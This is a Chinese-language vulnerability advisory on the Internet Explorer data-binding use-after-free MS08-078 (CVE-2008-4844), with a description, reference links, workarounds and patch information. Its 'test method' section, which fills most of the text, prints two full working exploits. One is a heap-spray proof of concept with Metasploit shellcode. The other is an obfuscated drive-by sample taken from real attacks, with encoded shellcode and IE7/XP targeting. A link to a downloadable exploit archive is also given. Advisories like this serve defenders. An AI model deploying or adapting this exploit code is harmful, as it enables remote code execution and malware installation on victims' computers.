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安全研究
安全漏洞
Microsoft IE对象处理内存破坏漏洞(MS08-078)
发布日期：2008-12-07
更新日期：2008-12-10
受影响系统：
Microsoft Internet Explorer 8.0描述：
Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.01
BUGTRAQ ID: 32721
CVE(CAN) ID: CVE-2008-4844
Internet Explorer是微软公司开发的广为流行的网络浏览器。
Internet Explorer的数据绑定函数中无效的指针引用导致远程代码执行漏洞。如果启用了数据绑定（默认状态），在某些情况下未经更新数组长度就释放了对象，这可能允许访问已删除对象的内存空间，导致Internet Explorer以可利用的状态退出。
攻击者可以通过创建特制网页来利用这个漏洞。当用户查看网页时，漏洞可能允许远程代码执行。成功利用这个漏洞的攻击者可以获得与登录用户相同的权限。
此漏洞目前被挂马攻击者积极利用来向用户系统植入恶意软件。
<*链接：http://www.scanw.com/blog/archives/303
http://www.microsoft.com/technet/security/advisory/961051.mspx
http://secunia.com/advisories/33089/
http://www.avertlabs.com/research/blog/index.php/2008/12/09/yet-another-unpatched-drive-by-exploit-found-on-the-web/
http://research.eeye.com/html/alerts/zeroday/20081209.html
http://www.microsoft.com/technet/security/Bulletin/MS08-078.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA08-352A.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<script>
// k`sOSe 12/10/2008
// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
// Heap spray address adjusted for Vista - muts / offensive-security.com
// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
// http://www.offensive-security.com/0day/iesploit-vista.rar
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0c0c%u0c0c");
var nops = unescape("%u9090%u9090%u9090");
while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);
document.write("<iframe src=\"iframe.html\">");
</script>
</html>
<!-- iframe.html
<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=http://ఌఌ[dot]xxxxx[dot]org
>
]]>
</C>
</X>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</SPAN>
</SPAN>
-->
<script language="javascript">
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace("about:blank");
function sleep(milliseconds)
{
var start=new Date().getTime();
for(var i=0;i<1e7;i++)
{if((new Date().getTime()-start)>milliseconds)
{break}
}
}
function spray(sc)
{
var infect=unescape(sc.replace(/dadong/g,"\x25\x75"));
var heapBlockSize=0x100000;
var payLoadSize=infect.length*2;
var szlong=heapBlockSize-(payLoadSize+0x038);
var retVal=unescape("%u0a0a%u0a0a");
retVal=getSampleValue(retVal,szlong);
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;
zzchuck=new Array();
for(i=0;i<aaablk;i++){zzchuck=retVal+infect}
}
function getSampleValue(retVal,szlong)
{
while(retVal.length*2<szlong)
{retVal+=retVal}
retVal=retVal.substring(0,szlong/2);
return retVal
}
var a1="dadong";
spray(a1+"9090"+a1+"dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadong5858dadong3358dadongB3DBdadong031Cdadong31C3dadong66C9dadongE981dadongFA65dadong3080dadong4021dadongFAE2dadong17C9dadong2122dadong4921dadong0121dadong2121dadong214BdadongF1DEdadong2198dadong2131dadongAA21dadongCAD9dadong7F24dadong85D2dadongF1DEdadongD7C9dadongDEDEdadongC9DEdadong221Cdadong2121dadongD9AAdadong19C9dadong2121dadongC921dadong206Cdadong2121dadong67C9dadong2121dadongC921dadong22FAdadong2121dadongD9AAdadong03C9dadong2121dadongC921dadong2065dadong2121dadong11C9dadong2121dadongC921dadong22A8dadong2121dadongD9AAdadong2DC9dadong2121dadongC921dadong2040dadong2121dadong3BC9dadong2121dadongCA21dadong7279dadongFDAAdadong4B72dadong4961dadong3121dadong2121dadongC976dadong2390dadong2121dadongC4C9dadong2121dadong7921dadong72E2dadongFDAAdadong4B72dadong4901dadong3121dadong2121dadongC976dadong23B8dadong2121dadongECC9dadong2121dadong7921dadong76E2dadong1DC9dadong2125dadongAA21dadong12D9dadong68E8dadongE112dadongE291dadongD3DDdadongAC8FdadongDE66dadongE27Edadong1F7Adadong26E7dadong1F99dadong7EA8dadong4720dadongE61Fdadong2466dadongC1DEdadongC8E2dadong25B4dadong2121dadongA07Adadong35CDdadong2120dadongAA21dadong1FF5dadong23E6dadong4C42dadong0145dadongE61Fdadong2563dadong420Edadong0301dadongE3A2dadong1229dadong71E1dadong4971dadong2025dadong2121dadong7273dadongC971dadong22E0dadong2121dadongF1DEdadongDDAAdadongE6AAdadongE1A2dadong1F29dadong39ABdadongFAA5dadong2255dadongCA61dadong1FD7dadong21E7dadong1203dadong1FF3dadong71A9dadongA220dadong75CDdadongE112dadongFA12dadongEDAAdadongD9A2dadong5C75dadong1F28dadong3DA8dadongA220dadong25E1dadongD3CAdadongEDAAdadongF8AAdadongE2A2dadong1231dadong1FE1dadong62E6dadong200Ddadong2121dadong7021dadong7172dadong7171dadong7171dadong7671dadongC971dadong2218dadong2121dadong38C9dadong2121dadong4521dadong2580dadong2121dadongAC21dadong4181dadongDEDEdadongC9DEdadong2216dadong2121dadongFA12dadong7272dadong7272dadongF1DEdadong19A1dadongA1C9dadongC819dadong2E54dadong59A0dadongB124dadongB1B1dadong55B1dadong7427dadongCDAAdadong61ACdadongDE24dadongC9C1dadongDE0FdadongDEDEdadongC9E2dadongDE09dadongDEDEdadong3099dadong2520dadongE3A1dadong212Ddadong3AC9dadongDEDEdadong12DEdadong71E1dadongC975dadong2175dadong2121dadongC971dadong23AAdadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong2360dadong2121dadongDE12dadongDE76dadongC9F1dadong20DAdadong2121dadongDE49dadong2121dadongDE21dadongC9F1dadongDFC9dadongDEDEdadong7672dadong1277dadong71E1dadongC975dadong213Fdadong2121dadongC971dadong2374dadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong232Adadong2121dadongDE12dadongDE76dadong79F1dadong7E7FdadongE27Adadong23CAdadongE279dadongD8C9dadongDEDEdadong77DEdadongA276dadong29CDdadongDDAAdadong294Bdadong1F76dadong56DEdadongC935dadong237Cdadong2121dadongF1DEdadongDDAAdadong4049dadong444Cdadong4921dadong6468dadong5367dadongD5AAdadong2998dadong2121dadongD221dadong5487dadong4B0Edadong1F21dadong55DEdadong0105dadong05C9dadong2123dadongDE21dadongAAF1dadongC9D9dadong20EAdadong2121dadongF1DEdadongD91Adadong2955dadongAA17dadong0565dadong1F01dadong21DEdadongDE1Fdadong0555dadongC93Ddadong20CEdadong2121dadongF1DEdadongE5A2dadong7E31dadong997Fdadong2120dadong2121dadong49E2dadong4F4Edadong2121dadong5449dadong4D53dadongCA4CdadongAC34dadong0565dadong7125dadong03C9dadongDEDFdadong71DEdadong6BC9dadong2123dadongC821dadongDFC3dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong29E5dadong4BE2dadong494Ddadong554Fdadong4D45dadong34CAdadong65ACdadong2505dadongC971dadongDCDAdadongDEDEdadongC971dadong2302dadong2121dadong9AC8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong1249dadong2113dadong4921dadong5254dadong5344dadong34CAdadong65ACdadong2505dadongC971dadongDCF0dadongDEDEdadongC971dadong20D8dadong2121dadongB0C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong4249dadong5657dadong4921dadong4952dadong4E45dadong34CAdadong65ACdadong2505dadongC971dadongDC86dadongDEDEdadongC971dadong20EEdadong2121dadong46C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong5749dadong5946dadongCA21dadongAC34dadong0565dadong7125dadongA3C9dadongDEDCdadong71DEdadong8BC9dadong2120dadongC821dadongDF63dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong25E5dadongC9E2dadong208Adadong2121dadong3A49dadong67E7dadong7158dadongE7C9dadong2120dadongA221dadong29E5dadongC9E2dadong20B6dadong2121dadongCD49dadong22B6dadong712Ddadong93C9dadong2120dadongA221dadong29E5dadongC9E2dadong20A2dadong2121dadong8B49dadong2CDDdadong715DdadongBFC9dadong2120dadongA221dadong29E5dadongC9E2dadong204Edadong2121dadongCC49dadongCE77dadong7117dadongABC9dadong2120dadongA221dadong29E5dadongC9E2dadong207Adadong2121dadongD149dadong25ABdadong717Edadong57C9dadong2120dadongA221dadong29E5dadongC9E2dadongDFD6dadongDEDEdadong5949dadongFA49dadong713Ddadong43C9dadong2120dadongA221dadong29E5dadongC9E2dadong2012dadong2121dadongCE49dadongC1EFdadong7141dadong6FC9dadong2120dadongA221dadong29E5dadongC9E2dadong203Edadong2121dadong9149dadong0C68dadong71FAdadong1BC9dadong2120dadongA221dadong29E5dadongC9E2dadongDE17dadongDEDEdadong8A49dadongBA7Fdadong713Fdadong07C9dadong2120dadongA221dadong29E5dadongC9E2dadongDF86dadongDEDEdadong7849dadongA0B6dadong7123dadong33C9dadong2120dadongA221dadong29E5dadongC9E2dadong21C2dadong2121dadong5F49dadongC3F9dadong7152dadongDFC9dadong2121dadongA221dadong29E5dadongC9E2dadong21EEdadong2121dadongBF49dadong9AD8dadong7114dadongCBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDFB3dadongDEDEdadong7649dadong9481dadong719AdadongF7C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF5FdadongDEDEdadong3B49dadong3F5Bdadong7123dadongE3C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF4BdadongDEDEdadongC149dadong117Adadong71B5dadong8FC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF77dadongDEDEdadongB649dadongC3E8dadong7182dadongBBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF63dadongDEDEdadong4949dadongE405dadong7192dadongA7C9dadong2121dadongA221dadong29E5dadongC9E2dadong2176dadong2121dadong5349dadong92DFdadong7137dadong53C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF65dadongDEDEdadong32CAdadong444BdadongC971dadongDAD6dadongDEDEdadongC971dadongDF8AdadongDEDEdadong96C8dadongDEDDdadongC9DEdadongDEC9dadongDEDEdadongC9E2dadongDC88dadongDEDEdadong6E49dadong6ECEdadong7124dadong1FC9dadong2121dadongA221dadong29E5dadongC9E2dadong212Edadong2121dadongAF49dadong2F6Fdadong71CDdadong0BC9dadong2121dadongA221dadong29E5dadong12E2dadong45E1dadong61AAdadongA411dadong59E1dadong1F31dadong61AAdadong1F2Ddadong51AAdadong8C3DdadongAA1Fdadong2961dadongCAE2dadong1F2Adadong61AAdadongA215dadong5DE1dadongAA1Fdadong1D61dadong41E2dadongAA17dadong054Ddadong1705dadong64AAdadong171Ddadong75AAdadong5924dadongF422dadongAA1Fdadong396BdadongAA1Fdadong017BdadongFC22dadong1AC2dadong1F68dadong15AAdadong22AAdadong12D4dadong12DEdadongDDE1dadongA58Ddadong55E1dadongE026dadong2CEEdadongD922dadongD5CAdadong1A17dadong055Ddadong5409dadong1FFEdadong7BAAdadong2205dadong47FCdadongAA1Fdadong6A2DdadongAA1Fdadong3D7BdadongFC22dadongAA1FdadongAA25dadongE422dadongA817dadong0565dadong403DdadongC9E2dadongDA47dadongDEDEdadong5549dadong5155dadong0E1Bdadong560Edadong5656dadong430Fdadong4840dadong444Adadong0F42dadong4F42dadong450Edadong564Edadong0E4Fdadong4E4Adadong440Fdadong4459dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong0021");
sleep(3000);
nav=navigator.userAgent.toLowerCase();
if(navigator.appVersion.indexOf('MSIE')!=-1)
{
version=parseFloat(navigator.appVersion.split('MSIE')[1])
}
if(version==7)
{
w2k3=((nav.indexOf('windows nt 5.2')!=-1)||(nav.indexOf('windows 2003')!=-1));
wxp=((nav.indexOf('windows nt 5.1')!=-1)||(nav.indexOf('windows xp')!=-1));
if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://r.r.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');
var i=1;while(i<=10)
{
window.status=" ";i++}
}
</script>
http://milw0rm.com/sploits/2008-iesploit.tar.gz
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件之前进行提示。
* 将Internet和本地intranet安全区设置为“高”以在运行ActiveX控件和活动脚本之前要求提示。
* 禁用XML Island功能。
* 通过完整性级别ACL限制Internet Explorer使用OLEDB32.dll。
* 禁用OLEDB32.dll的Row Position功能。
* 注销OLEDB32.DLL。
* 使用ACL禁用OLEDB32.DLL。
* 在Internet Explorer 8 Beta 2中禁用数据绑定支持。
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS08-078）以及相应补丁:
MS08-078：Security Update for Internet Explorer (960714)
链接：http://www.microsoft.com/technet/security/Bulletin/MS08-078.mspx?pf=true
浏览次数：27506
严重程度：0（网友投票）
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